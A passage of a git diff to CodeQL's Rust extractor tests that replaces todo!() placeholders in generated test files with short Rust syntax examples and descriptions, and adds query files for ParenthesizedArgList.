a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A ForTypeRepr. For example: - todo!() + // A higher-ranked trait bound(HRTB) type. + // + // For example: + for <'a> fn(&'a str) + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs index 41254299a94a..717d2e29b87d 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs +++ b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_impl() -> () { - // A Impl. For example: - todo!() + // An `impl`` block. + // + // For example: + impl MyTrait for MyType { + fn foo(&self) {} + } } diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs index 36404a83f848..93fab7930edf 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_impl_trait_type_repr() -> () { - // A ImplTraitTypeRepr. For example: - todo!() + // An `impl Trait` type. + // + // For example: + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs index a1be7a78f21f..95e88850579d 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_infer_type_repr() -> () { - // A InferTypeRepr. For example: - todo!() + // An inferred type (`_`). + // + // For example: + let x: _ = 42; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs index 5866f8da8914..5ef75ba92228 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_item_list() -> () { - // A ItemList. For example: - todo!() + // A list of items in a module or block. + // + // For example: + mod m { + fn foo() {} + struct S; + } } diff --git a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs index 3bd4a6254487..30d9b056cd0a 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs +++ b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_let_else() -> () { - // A LetElse. For example: - todo!() + // An else block in a let-else statement. + // + // For example: + let Some(x) = opt else { + return; + }; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs index 700261e2af55..e6a4ea563a10 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs +++ b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime() -> () { - // A Lifetime. For example: - todo!() + // A lifetime annotation. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index cb03015cad0a..4d006d2d5b40 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_arg() -> () { - // A LifetimeArg. For example: - todo!() + // A lifetime argument in a generic argument list. + // + // For example: + Foo<'a> + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs index 7b55f1346653..6687cd996a5f 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_param() -> () { - // A LifetimeParam. For example: - todo!() + // A lifetime parameter in a generic parameter list. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 33b3ec161245..0de0a929a997 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_macro_call() -> () { - // A MacroCall. For example: - todo!() + // A macro invocation. + // + // For example: + println!("Hello, world!"); + //^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 7fdd2aea7569..90bd5da21eef 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A MacroDef. For example: - todo!() + // A macro definition using the `macro_rules!` or similar syntax. + // + // For example: + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs index 245187b18533..effe36402162 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_expr() -> () { - // A MacroExpr. For example: - todo!() + // A macro expression, representing the invocation of a macro that produces an expression. + // + // For example: + let y = vec![1, 2, 3]; } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index bfd718fe9285..a4940aae3e2e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_macro_pat() -> () { - // A MacroPat. For example: - todo!() + // A macro pattern, representing the invocation of a macro that produces a pattern. + // + // For example: + match x { + my_macro!() => "matched", + _ => "not matched", + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs index 19c15ac5f784..062496ce3f2e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs +++ b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_rules() -> () { - // A MacroRules. For example: - todo!() + // A macro definition using the `macro_rules!` syntax. + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index 60b382ca8782..d81bbcb0cd3a 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_macro_type_repr() -> () { - // A MacroTypeRepr. For example: - todo!() + // A type produced by a macro. + // + // For example: + type T = macro_type!(); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs index b2192f929e2c..e41c67da5280 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs @@ -1,6 +1,13 @@ // generated by codegen, do not edit fn test_match_arm_list() -> () { - // A MatchArmList. For example: - todo!() + // A list of arms in a match expression. + // + // For example: + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs index 9e45b8c3564e..64d9a1c7cf36 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_match_guard() -> () { - // A MatchGuard. For example: - todo!() + // A guard condition in a match arm. + // + // For example: + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } } diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 204fb3bd7de6..2698243d57ab 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_meta() -> () { - // A Meta. For example: - todo!() + // A meta item in an attribute. + // + // For example: + #[cfg(feature = "foo")] + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs index 6b09a11fc12a..78c86e40b3bd 100644 --- a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs +++ b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name() -> () { - // A Name. For example: - todo!() + // An identifier name. + // + // For example: + let foo = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index fe161cef749f..62790540dc90 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name_ref() -> () { - // A NameRef. For example: - todo!() + // A reference to a name. + // + // For example: + foo(); + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs index 203a3b749dc1..4171a820d772 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_never_type_repr() -> () { - // A NeverTypeRepr. For example: - todo!() + // The never type `!`. + // + // For example: + fn foo() -> ! { panic!() } + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs index 7f25b68c774b..b6b34bb6703f 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs +++ b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_param_list() -> () { - // A ParamList. For example: - todo!() + // A list of parameters in a function, method, or closure declaration. + // + // For example: + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index 954e1878ee3e..ba9f71314bb1 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_expr() -> () { - // A ParenExpr. For example: - todo!() + // A parenthesized expression. + // + // For example: + (x + y) + //^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs index 9c24db9dce7e..33785db95d3d 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs +++ b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_pat() -> () { - // A ParenPat. For example: - todo!() + // A parenthesized pattern. + // + // For example: + let (x) = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs index 9e2577009dab..e69dadf6ca74 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_type_repr() -> () { - // A ParenTypeRepr. For example: - todo!() + // A parenthesized type. + // + // For example: + let x: (i32); + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql new file mode 100644 index 000000000000..73080b26f2d9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int getNumberOfTypeArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfTypeArgs = x.getNumberOfTypeArgs() +select x, "getNumberOfTypeArgs:", getNumberOfTypeArgs diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql new file mode 100644 index 000000000000..04247f8ff647 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getTypeArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs new file mode 100644 index 000000000000..9af64f99191e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs @@ -0,0 +1,14 @@ +// generated by codegen, do not edit + +fn test_parenthesized_arg_list() -> () { + // A parenthesized argument list as used in function traits. + // + // For example: + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } +} diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index a3dc7ccb6e4a..71b863832b46 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_path_type_repr() -> () { - // A type referring to a path. For example: - type X = std::collections::HashMap; - type Y = X::Item; + // A path referring to a type. For example: + let x: (i32); + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs index a071dfa0bbf5..cb3d15f6e55a 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ptr_type_repr() -> () { - // A PtrTypeRepr. For example: - todo!() + // A pointer type. + // + // For example: + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs index 083e0817fbf4..c8997352aaf4 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ref_type_repr() -> () { - // A RefTypeRepr. For example: - todo!() + // A reference type. + // + // For example: + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs index 8d8ca68ce357..0edc248ec6f7 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs +++ b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rename() -> () { - // A Rename. For example: - todo!() + // A rename in a use declaration. + // + // For example: + use foo as bar; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs index 0f7b95b93f20..5010471ca451 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs +++ b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rest_pat() -> () { - // A RestPat. For example: - todo!() + // A rest pattern (`..`) in a tuple, slice, or struct pattern. + // + // For example: + let (a, .., z) = (1, 2, 3); + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs index 4c3b8a6aaf0c..a3294ce85451 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_ret_type_repr() -> () { - // A RetTypeRepr. For example: - todo!() + // A return type in a function signature. + // + // For example: + fn foo() -> i32 {} + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs index 31601c86b33d..eb09efc78f86 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs @@ -1,6 +1,19 @@ // generated by codegen, do not edit fn test_return_type_syntax() -> () { - // A ReturnTypeSyntax. For example: - todo!() + // A return type notation `(..)` to reference or bound the type returned by a trait method + // + // For example: + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } } diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs index 657b98a3efd2..39e72c8527e1 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_slice_type_repr() -> () { - // A SliceTypeRepr. For example: - todo!() + // A slice type. + // + // For example: + let s: &[i32]; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs index 5d8e1d2caf47..ba9ab156a34c 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs +++ b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_source_file() -> () { - // A SourceFile. For example: - todo!() + // A source file. + // + // For example: + // main.rs + fn main() {} } diff --git a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs index cd0e40d3f6ca..b045dfadcf7c 100644 --- a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs +++ b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_static() -> () { - // A Static. For example: - todo!() + // A static item declaration. + // + // For example: + static X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs index cea5eceb1cd3..8cc83732b62f 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs +++ b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_stmt_list() -> () { - // A StmtList. For example: - todo!() + // A list of statements in a block. + // + // For example: + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index f5b42b79190c..4314b4a4759a 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -2,5 +2,8 @@ fn test_struct() -> () { // A Struct. For example: - todo!() + struct Point { + x: i32, + y: i32, + } } diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs index 01557f966aa2..12871cfdd2c4 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_expr_field_list() -> () { - // A StructExprFieldList. For example: - todo!() + // A list of fields in a struct expression. + // + // For example: + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs index 562b5adc7721..6d9e99334a58 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs +++ b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field() -> () { - // A StructField. For example: - todo!() + // A field in a struct declaration. + // + // For example: + struct S { x: i32 } + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs index bdec77ecaaea..4e3967bfae30 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field_list() -> () { - // A field list of a struct expression. For example: - todo!() + // A list of fields in a struct declaration. + // + // For example: + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs index a424ca84d640..1543bab7133f 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_pat_field_list() -> () { - // A StructPatFieldList. For example: - todo!() + // A list of fields in a struct pattern. + // + // For example: + let Foo { a, b } = foo; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 7781391e232a..1c553ba41f14 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_token_tree() -> () { - // A TokenTree. For example: - todo!() + // A token tree in a macro definition or invocation. + // + // For example: + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs index 708e0d99e58f..6fa75a8a08d4 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_trait_alias() -> () { - // A TraitAlias. For example: - todo!() + // A trait alias. + // + // For example: + trait Foo = Bar + Baz; } diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs index 083dffd3c35e..6444f38b7d71 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs +++ b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_try_expr() -> () { - // A TryExpr. For example: - todo!() + // A try expression using the `?` operator. + // + // For example: + let x = foo()?; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs index 245862c35d7d..96fe3582e402 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs +++ b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field() -> () { - // A TupleField. For example: - todo!() + // A field in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^ ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs index 5f6858c12ab9..26f955c4add1 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field_list() -> () { - // A TupleFieldList. For example: - todo!() + // A list of fields in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs index 69dbf686aff8..72418bebd402 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_type_repr() -> () { - // A TupleTypeRepr. For example: - todo!() + // A tuple type. + // + // For example: + let t: (i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs index f429e9d21870..0e51807e06c2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs +++ 